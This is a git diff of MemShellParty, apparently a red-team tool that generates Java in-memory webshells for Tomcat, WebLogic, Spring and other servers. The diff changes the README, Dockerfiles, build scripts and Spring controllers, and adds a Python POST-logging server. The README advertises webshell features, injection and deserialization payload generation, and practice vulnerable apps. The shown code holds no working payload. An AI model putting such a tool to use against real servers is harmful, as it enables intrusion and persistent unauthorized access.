- deserialize:反序列化相关 gadget - packer:常见漏洞 payload 生成
- integration-test:集成测试用例 - integration-test:集成测试用例
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来) - memshell:内存功能类以及注入器
- memshell-java8Spring 相关的存在 lambda 表达式所以单独弄出来 - memshell-agentAgent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
- tools/behinder:冰蝎简易连接器 - tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
- tools/godzilla:哥斯拉简易连接器
- tools/suo5Suo5 简易连接器
- web:使用 react 开发的 Web UI - web:使用 react 开发的 Web UI
- vul/vul-webapp:简易的 javax.servlet 靶场 - vul/vul-webapp:简易的 javax.servlet 靶场
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场 - vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场 - vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
- vul/springboot*: springboot 相关靶场 - vul/springboot*: springboot 相关靶场
@@ -28,12 +36,15 @@
# 运行集成测试用例,谨慎运行,用例太多了 # 运行集成测试用例,谨慎运行,用例太多了
./gradlew :integration-test:test --info ./gradlew :integration-test:test --info
# 仅运行 tomcat 下的集成测试用例 # 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
./gradlew :integration-test:test --tests '*.tomcat.*' ./gradlew :integration-test:test --tests '*.tomcat.*'
# 仅运行 jetty 下的集成测试用例
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
./gradlew :integration-test:test --tests '*.jetty.*' ./gradlew :integration-test:test --tests '*.jetty.*'
# 构建 war 包 # 构建靶场 war 包
./gradlew :vul:vul-webapp:war ./gradlew :vul:vul-webapp:war
./gradlew :vul:vul-webapp-jakarta:war ./gradlew :vul:vul-webapp-jakarta:war
./gradlew :vul:vul-webapp-expression:war ./gradlew :vul:vul-webapp-expression:war
+13 -20
View File
@@ -1,14 +1,12 @@
FROM buildpack-deps:bullseye-scm AS source FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
ARG VERSION="1.0.0"
ENV VERSION=${VERSION}
WORKDIR /usr/src WORKDIR /usr/src
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
FROM oven/bun:1.2.2 AS frontend # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
@@ -16,9 +14,9 @@ ARG CONTEXT_PATH=""
WORKDIR /usr/src/web WORKDIR /usr/src/web
ENV VITE_APP_API_URL=${CONTEXT_PATH} \ ENV VITE_APP_API_URL=${CONTEXT_PATH} \
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH} VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lockb /usr/src/web/ COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
RUN bun install --frozen-lockfile RUN bun install --frozen-lockfile
@@ -26,32 +24,27 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build RUN bun run build
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend # https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
ARG VERSION="1.0.0"
ENV VERSION=${VERSION}
WORKDIR /usr/src WORKDIR /usr/src
COPY --from=source /usr/src /usr/src COPY --from=source /usr/src /usr/src
COPY --from=frontend /usr/src/web/dist /usr/src/web/dist COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
RUN set -ex && \ RUN ./gradlew :boot:bootjar -x test
cd web && bash copy-build.sh && \
cd .. && ./gradlew -Pversion=${VERSION} :boot:bootjar -x test --no-daemon
FROM eclipse-temurin:17.0.14_7-jre-noble FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
WORKDIR /app WORKDIR /app
COPY --from=backend /usr/src/boot/build/libs/*.jar app.jar
RUN groupadd -r spring && \ RUN groupadd -r spring && \
useradd -r -g spring spring && \ useradd -r -g spring spring
chown spring:spring /app/app.jar
COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar
USER spring:spring USER spring:spring
+43 -241
View File
@@ -1,63 +1,65 @@
# MemShellParty <h1 align="center">MemShellParty</h1>
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
[![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases) [![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases)
[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator)
[![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party) [![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party)
</div>
<div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell) [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news) [![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.mem.mk)
</div>
> [!WARNING] > [!WARNING]
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。 > 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
> [!TIP] > [!TIP]
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG > 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
> 交流群,欢迎一起学习交流 > 交流群,欢迎一起学习交流
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台 MemShellParty 是一款专注于主流 Web 中间件内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
MemShellParty 出现的原因有以下几个: <p align="center">
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
1. 工作中有时候客户会有个别中间件的内存马测试需求,这个时候临时写一个太慢又太烦,在不忙的时候做一个工具,有需求就生成一个多好(之前用 <img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
Java Memshell Generator 生成一个 WAS 的内存马不能用,调了半天修好了)。 <img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
2. 写 [Javassist](https://www.javassist.org/) 实在是太多了,字符串拼接的方式去弄方法 code <img src="assets/about_page.png" alt="about_page" width="24%">
实在是看得眼睛疼,又不好维护,代码组织合理的话其实都可以,不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/) </p>
,高封装提供的 API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快,而且很多中间件也自带依赖直接能打。
3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
的出现确实帮大忙了,但是其极少的交互逻辑对于一个应用来说是难以接受的,刚好学习了前端对 UX 也感兴趣(对 Desktop
应用无感),必须得整一个玩玩。
4. 因为对自动化测试特别感兴趣,刚好找到了 [Testcontainers](https://testcontainers.com/)
,并且看了一圈武器化工具基本都是无测试的,所以尝试写写可行的集成测试分享分享,被测试包裹的代码,修改起来信心也大,同时也希望这个项目能长久发展。
5. 特别多的师傅写了 Java 内存马相关的项目,不过都慢慢就不维护了(或者不公开代码了),我举手来整合一下,嘿嘿。
希望你能从这个项目学会或尝试做的:
1. 学会编写常见中间件框架的内存马编写方式。
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
![normal_generator](asserts/normal_generator.png)
![agent_generator](asserts/agent_generator.png)
## 主要特性 ## 主要特性
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。 - **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml) - **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
- 最小化: 尽可能精简内存马大小,高效传输 - **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性
- 强兼容性: 覆盖攻防场景下常见中间件和框架。 - **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
## 快速使用 ## 快速使用
### 使用前必看
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
GlassFish,因为它使用的是 GlassFish 进行的二开)。
### 在线站点 ### 在线站点
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门 > 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
直接访问 https://party.memshell.news (搭建在 [Northflank](https://northflank.com/) US 访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
### 本地部署(推荐) ### 本地部署(推荐)
@@ -76,210 +78,10 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
``` ```
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了 ## Special Thanks
```bash
# 移除之前部署的
docker rm -f memshell-party
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
### 本地构建
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
1. 使用 Git Clone 项目
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
```bash
cd MemShellParty/web
bun install
bun run build
```
3. 构建后端项目,确保使用 JDK17 环境
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
也可这基础上再继续构建容器来使用
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Dockerfile 一键构建
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44)
下载项目根目录的 [Dockerfile](./Dockerfile)
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
- ROUTE_ROOT_PATH: 前端根路由配置
- CONTEXT_PATH: 后端访问前缀
```bash
# 基础构建
docker buildx build \
--build-arg VERSION=1.3.1 \
-t memshell-party:latest . --load
# 基础镜像启动,访问 127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# 自定义访问路径构建
docker buildx build \
--build-arg VERSION=1.3.1 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 | Apusic AS 9 |
|----------------------|----------------------|------------------------|---------------|
| Filter | Filter | Filter | Servlet |
| Listener | Listener | Listener | Filter |
| Valve | Valve | Valve | Listener |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
### 内存马功能
- [x] Godzilla 哥斯拉
- [x] Behinder 冰蝎
- [x] 命令执行
- [x] Suo5
- [x] AntSword 蚁剑
- [ ] Neo-reGeorg
- [ ] Custom
### 封装方式
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB4
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
## How
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
2. 如何调试内存马,为什么内存马注入了却不可用?(**WIP**)
## Contribute
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
> It will be so nice if you want to contribute. 🎉
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
## Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) - [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
### Let's start the party 🎉 ### Let's start the party 🎉
Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 136 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 236 KiB

+35
View File
@@ -0,0 +1,35 @@
import http.server
import socketserver
PORT = 8000
TARGET_PATH = "/api/v1/data"
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
if self.path == TARGET_PATH:
try:
content_length = int(self.headers['Content-Length'])
post_data_bytes = self.rfile.read(content_length)
post_data_str = post_data_bytes.decode('utf-8')
print("-----------------------------\n")
print(f"Client IP: {self.client_address}")
print(f"Request Header:\n{self.headers}")
print(f"Request Body:\n{post_data_str}")
print("-----------------------------\n")
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
response_message = '{"status": "success"}'
self.wfile.write(response_message.encode('utf-8'))
except Exception as e:
print(f"Parse POST failed: {e}")
self.send_response(500)
else:
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
self.send_response(404)
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
httpd.serve_forever()
+16
View File
@@ -0,0 +1,16 @@
import http from 'k6/http';
import {check, sleep} from 'k6';
export const options = {
rps: 4500,
vus: 10,
duration: '5m',
};
export default function () {
const res = http.get('http://localhost:8082/app/test');
check(res, {
'status is 200': (r) => r.status === 200,
});
sleep(1);
}
+9
View File
@@ -0,0 +1,9 @@
FROM python:3.12-slim
WORKDIR /app
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
COPY neoreg.py .
CMD ["tail", "-f", "/dev/null"]
File diff suppressed because it is too large Load Diff
Binary file not shown.

After

Width:  |  Height:  |  Size: 268 KiB

BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
-37
View File
@@ -1,37 +0,0 @@
plugins {
id 'java-platform'
}
dependencies {
constraints {
api 'net.bytebuddy:byte-buddy:1.+'
api 'javax.servlet:javax.servlet-api:3.0.1'
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
api 'javax.websocket:javax.websocket-api:1.1'
api 'org.springframework:spring-webmvc:5.3.24'
api 'org.springframework:spring-webflux:5.3.24'
api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
api 'commons-io:commons-io:2.+'
api 'org.apache.commons:commons-lang3:3.+'
api 'commons-codec:commons-codec:1.+'
api 'ch.qos.logback:logback-classic:1.+'
api 'xalan:xalan:2.7.0'
api 'org.apache.bcel:bcel:5.2'
api 'org.java-websocket:Java-WebSocket:1.5.7'
api 'com.squareup.okhttp3:okhttp:4.+'
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
api 'org.jetbrains:annotations:26.0.1'
api "org.mockito:mockito-core:5.15.2"
api 'org.hamcrest:hamcrest:3.0'
api 'org.junit:junit-bom:5.11.4'
api 'org.testcontainers:testcontainers:1.20.5'
api 'org.testcontainers:junit-jupiter:1.20.5'
}
}
+4 -5
View File
@@ -1,14 +1,13 @@
FROM eclipse-temurin:17.0.14_7-jre-noble FROM eclipse-temurin:17.0.17_10-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
WORKDIR /app WORKDIR /app
COPY build/libs/*.jar app.jar
RUN groupadd -r spring && \ RUN groupadd -r spring && \
useradd -r -g spring spring && \ useradd -r -g spring spring
chown spring:spring /app/app.jar
COPY --chown=spring:spring build/libs/*.jar app.jar
USER spring:spring USER spring:spring
-62
View File
@@ -1,62 +0,0 @@
plugins {
id 'java'
id 'org.springframework.boot' version '3.4.0'
id 'io.spring.dependency-management' version '1.1.6'
}
group = 'com.reajason.javaweb'
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
configurations {
compileOnly {
extendsFrom annotationProcessor
}
}
dependencies {
implementation(project(":generator")) {
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation(project(":deserialize")) {
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
}
implementation 'org.springframework.boot:spring-boot-starter-undertow'
compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools'
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
annotationProcessor 'org.projectlombok:lombok'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
}
test {
useJUnitPlatform()
}
+49
View File
@@ -0,0 +1,49 @@
plugins {
id("java")
id("org.springframework.boot") version "3.5.8"
id("io.spring.dependency-management") version "1.1.7"
}
group = "io.github.reajason"
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
configurations {
compileOnly {
extendsFrom(configurations.annotationProcessor.get())
}
}
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies {
implementation(project(":generator")) {
exclude(group = "commons-logging", module = "commons-logging")
}
implementation(project(":packer")) {
exclude(group = "commons-logging", module = "commons-logging")
}
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web") {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
}
implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-undertow")
compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
annotationProcessor("org.projectlombok:lombok")
testImplementation("org.springframework.boot:spring-boot-starter-test")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
}
tasks.test {
useJUnitPlatform()
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.boot; package com.reajason.javaweb.boot;
import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.SpringApplication; import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.autoconfigure.SpringBootApplication;
@@ -7,11 +8,10 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
* @author ReaJason * @author ReaJason
*/ */
@SpringBootApplication @SpringBootApplication
@Slf4j
public class BootApplication { public class BootApplication {
public static void main(String[] args) { public static void main(String[] args) {
SpringApplication.run(BootApplication.class, args); SpringApplication.run(BootApplication.class, args);
} }
} }
@@ -1,10 +1,13 @@
package com.reajason.javaweb.boot.api; package com.reajason.javaweb.boot.api;
import com.reajason.javaweb.GenerationException;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.ResponseStatus; import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestControllerAdvice; import org.springframework.web.bind.annotation.RestControllerAdvice;
import org.springframework.web.servlet.resource.NoResourceFoundException;
/** /**
* @author ReaJason * @author ReaJason
@@ -13,10 +16,23 @@ import org.springframework.web.bind.annotation.RestControllerAdvice;
@RestControllerAdvice @RestControllerAdvice
@Slf4j @Slf4j
public class GlobalExceptionHandler { public class GlobalExceptionHandler {
@ResponseStatus(HttpStatus.NOT_FOUND)
@ExceptionHandler(NoResourceFoundException.class)
public ResponseEntity<?> handleNoResourceException() {
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
}
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(GenerationException.class)
public ErrorResponse handleGenerationException(GenerationException exception) {
return new ErrorResponse(exception.getMessage());
}
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR) @ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(Throwable.class) @ExceptionHandler(Throwable.class)
public ErrorResponse handleThrowable(Throwable throwable) { public ErrorResponse handleThrowable(Throwable throwable) {
log.error("请求出错", throwable); log.error("Internal Exception", throwable);
return new ErrorResponse(throwable.getMessage()); return new ErrorResponse(throwable.getMessage());
} }
} }
@@ -0,0 +1,21 @@
package com.reajason.javaweb.boot.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.client.SimpleClientHttpRequestFactory;
import org.springframework.web.client.RestTemplate;
/**
* @author ReaJason
*/
@Configuration
public class WebConfig {
@Bean
public RestTemplate restTemplate() {
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
factory.setConnectTimeout(3000);
factory.setReadTimeout(3000);
return new RestTemplate(factory);
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.boot.controller;
import org.springframework.asm.ClassReader;
import org.springframework.cglib.core.ClassNameReader;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/11/10
*/
@RestController
@CrossOrigin("*")
public class ClassNameParseController {
@PostMapping("/api/className")
public String className(@RequestBody String classBase64) {
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
}
}
@@ -1,58 +1,69 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.Config; import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.memshell.server.AbstractShell; import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.config.CommandConfig;
